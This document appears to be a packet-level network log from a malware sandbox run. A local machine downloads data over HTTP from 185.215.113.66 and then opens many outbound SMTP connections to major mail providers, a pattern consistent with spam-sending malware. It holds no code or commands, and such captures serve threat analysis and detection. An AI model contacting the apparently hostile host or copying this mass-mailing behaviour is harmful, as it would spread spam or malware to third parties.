Aug 24, 2023 19:03:28.432140112 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432157993 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432178020 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432180882 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432198048 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432204008 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432218075 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432239056 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432248116 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432260990 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432280064 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432286978 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432300091 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432312012 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432321072 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432344913 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432384014 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432518959 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432538986 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432588100 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432636976 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.468069077 CEST	25	49870	64.98.38.4	192.168.2.8
Aug 24, 2023 19:03:28.468425035 CEST	49870	25	192.168.2.8	64.98.38.4
Aug 24, 2023 19:03:28.470051050 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.471097946 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.471646070 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.472738028 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.472959042 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.485553026 CEST	25	49871	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:28.485598087 CEST	25	49871	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:28.485709906 CEST	49871	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:28.485858917 CEST	49871	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:28.499078035 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499133110 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499161005 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499186993 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499228954 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499257088 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499285936 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499289036 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499314070 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499342918 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499371052 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499396086 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499403954 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499447107 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499450922 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499515057 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499561071 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499669075 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499702930 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499732018 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499747038 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499761105 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499788046 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499814987 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499816895 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499845982 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499872923 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499888897 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499903917 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499929905 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499946117 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499959946 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.499986887 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.499988079 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500016928 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500034094 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500041962 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500068903 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500092983 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500113010 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500119925 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500149965 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500175953 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500193119 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500206947 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500233889 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500245094 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500267982 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500284910 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500298977 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500328064 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500358105 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500365973 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500396013 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500425100 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500435114 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500451088 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500473976 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500479937 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500510931 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500521898 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500540018 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500569105 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500595093 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500612974 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500621080 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500647068 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500673056 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500679970 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500699997 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500729084 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500756025 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500758886 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500785112 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500812054 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500824928 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500838041 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500864983 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500891924 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500893116 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500920057 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500950098 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.500969887 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.500983000 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501013041 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501034021 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501039028 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.501063108 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501082897 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501105070 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501132011 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.501132011 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501163960 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501190901 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501209974 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.501220942 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501249075 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501280069 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501302958 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.501306057 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501333952 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501348972 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.501383066 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.501462936 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.511590958 CEST	25	49864	38.111.141.152	192.168.2.8
Aug 24, 2023 19:03:28.528011084 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.528055906 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.528383017 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.539885044 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.540117025 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.552862883 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.552957058 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.553158045 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.580394983 CEST	25	49866	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:28.594276905 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:28.604377985 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.616003990 CEST	49874	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:28.616583109 CEST	25	49871	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:28.661051989 CEST	25	49870	64.98.38.4	192.168.2.8
Aug 24, 2023 19:03:28.666744947 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:28.666816950 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.666935921 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.666956902 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.666973114 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.667035103 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.667041063 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.667242050 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.667259932 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.668144941 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.668354034 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.668409109 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.668665886 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.679811001 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.679852009 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.680037022 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.681493998 CEST	25	49870	64.98.38.4	192.168.2.8
Aug 24, 2023 19:03:28.681575060 CEST	25	49870	64.98.38.4	192.168.2.8
Aug 24, 2023 19:03:28.702990055 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.723297119 CEST	25	49874	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:28.723484993 CEST	49874	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:28.755445004 CEST	49877	25	192.168.2.8	216.239.133.242
Aug 24, 2023 19:03:28.765141964 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:28.765369892 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:28.774219036 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:28.774420977 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:28.780431032 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.793996096 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.794032097 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.794296980 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.801563978 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.806792021 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.806895018 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.807020903 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.838356972 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.838516951 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.861234903 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.863300085 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:28.883635044 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:28.884066105 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:28.906763077 CEST	49880	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:28.913105965 CEST	25	49877	216.239.133.242	192.168.2.8
Aug 24, 2023 19:03:28.913316965 CEST	49877	25	192.168.2.8	216.239.133.242
Aug 24, 2023 19:03:28.921247005 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.921384096 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.921473026 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.936943054 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:28.937396049 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:28.974765062 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.974978924 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.991518021 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:28.992615938 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:28.993050098 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.000132084 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:29.000422955 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:29.002424002 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.061608076 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.066401958 CEST	49883	25	192.168.2.8	129.159.122.98
Aug 24, 2023 19:03:29.071944952 CEST	25	49877	216.239.133.242	192.168.2.8
Aug 24, 2023 19:03:29.073436975 CEST	49877	25	192.168.2.8	216.239.133.242
Aug 24, 2023 19:03:29.073693037 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.073954105 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.077416897 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.087791920 CEST	25	49874	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:29.087837934 CEST	25	49874	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:29.088079929 CEST	49874	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:29.088131905 CEST	49874	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:29.089382887 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.089637995 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.100532055 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.100949049 CEST	25	49880	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:29.101108074 CEST	49880	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:29.101651907 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.101887941 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.102824926 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.102941990 CEST	49875	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.108192921 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:29.108458042 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:29.148056030 CEST	49885	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:29.152556896 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:29.175228119 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.175476074 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.180334091 CEST	25	49883	129.159.122.98	192.168.2.8
Aug 24, 2023 19:03:29.180598021 CEST	49883	25	192.168.2.8	129.159.122.98
Aug 24, 2023 19:03:29.190567970 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.190768957 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.193633080 CEST	25	49874	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:29.203140020 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.203191996 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.203605890 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.209146976 CEST	25	49875	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.209170103 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.210194111 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.210247993 CEST	49887	25	192.168.2.8	142.246.255.253
Aug 24, 2023 19:03:29.210386992 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.217022896 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.217236042 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.231224060 CEST	25	49877	216.239.133.242	192.168.2.8
Aug 24, 2023 19:03:29.232264996 CEST	25	49877	216.239.133.242	192.168.2.8
Aug 24, 2023 19:03:29.232289076 CEST	25	49877	216.239.133.242	192.168.2.8
Aug 24, 2023 19:03:29.247941971 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.270720005 CEST	25	49885	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:29.270898104 CEST	49885	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:29.279441118 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:29.279716969 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:29.281570911 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:29.281711102 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:29.290239096 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.290474892 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.317719936 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.317994118 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.321911097 CEST	25	49887	142.246.255.253	192.168.2.8
Aug 24, 2023 19:03:29.322144032 CEST	49887	25	192.168.2.8	142.246.255.253
Aug 24, 2023 19:03:29.326853991 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:29.329662085 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.329802036 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.344829082 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.345673084 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.347191095 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.347431898 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.347995996 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.348088980 CEST	49876	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.354758978 CEST	25	49880	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:29.355153084 CEST	25	49880	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:29.355158091 CEST	49880	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:29.355242014 CEST	49880	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:29.356837988 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.357100964 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.377096891 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.390865088 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:29.404041052 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.404146910 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.404191017 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.404455900 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.419167042 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.419348955 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.434201002 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:29.434329987 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:29.452481985 CEST	25	49873	52.101.42.13	192.168.2.8
Aug 24, 2023 19:03:29.452748060 CEST	49873	25	192.168.2.8	52.101.42.13
Aug 24, 2023 19:03:29.471879005 CEST	25	49890	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:29.471980095 CEST	49890	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.472857952 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.482737064 CEST	25	49876	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:29.482803106 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.495721102 CEST	25	49889	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:29.495915890 CEST	49889	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:29.496431112 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.496476889 CEST	25	49884	64.35.208.175	192.168.2.8
Aug 24, 2023 19:03:29.496495008 CEST	25	49885	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:29.496512890 CEST	25	49885	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:29.496608019 CEST	49885	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:29.496742964 CEST	49885	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:29.496812105 CEST	49884	25	192.168.2.8	64.35.208.175
Aug 24, 2023 19:03:29.499228954 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:29.499480963 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:29.510184050 CEST	25	49891	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:29.510346889 CEST	49891	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:29.512325048 CEST	49895	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:29.518076897 CEST	25	49893	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.518127918 CEST	25	49882	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.518249989 CEST	49893	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.518486023 CEST	49882	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.539172888 CEST	25	49880	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:29.560101032 CEST	49896	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.564862967 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:29.564966917 CEST	49892	25	192.168.2.8	43.225.108.107
Aug 24, 2023 19:03:29.573508978 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.573543072 CEST	25	49878	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:29.573560953 CEST	25	49887	142.246.255.253	192.168.2.8
Aug 24, 2023 19:03:29.573637962 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.573740005 CEST	25	49887	142.246.255.253	192.168.2.8
Aug 24, 2023 19:03:29.573806047 CEST	49887	25	192.168.2.8	142.246.255.253
Aug 24, 2023 19:03:29.573843002 CEST	49878	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:29.574512005 CEST	49887	25	192.168.2.8	142.246.255.253
Aug 24, 2023 19:03:29.586972952 CEST	25	49894	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:29.587100029 CEST	49894	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:29.592108011 CEST	25	49888	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:29.592432976 CEST	49888	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:29.605148077 CEST	49897	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:29.618802071 CEST	25	49885	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:29.622859955 CEST	25	49873	52.101.42.13	192.168.2.8
